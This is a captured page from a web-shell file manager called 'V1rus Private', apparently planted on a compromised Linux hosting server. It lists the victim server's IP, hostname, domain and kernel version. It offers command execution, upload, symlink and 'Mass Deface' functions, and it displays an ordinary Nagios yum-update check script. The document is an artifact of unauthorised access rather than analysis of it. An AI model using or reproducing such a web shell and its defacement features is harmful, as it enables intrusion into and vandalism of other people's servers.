V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_yum_updates
#!/bin/bash ################################################## # Name: check-yum-updates.sh # Description: Checks for yum updates. ################################################## # Set Variables # YUMTMP="/tmp/yum-check-update.$$" sudo /usr/bin/yum check-update | grep -v kernel* | grep -v kmod* >& $YUMTMP YUMSTATUS="$?" # ################################################## # Main Script # case $YUMSTATUS in 0) # no updates! echo "There are no updates available." exit 0 ;; *) # updates available echo "Updates are available." exit 1 ;; esac ##################################################
Coded With 💗 by
HanzOFC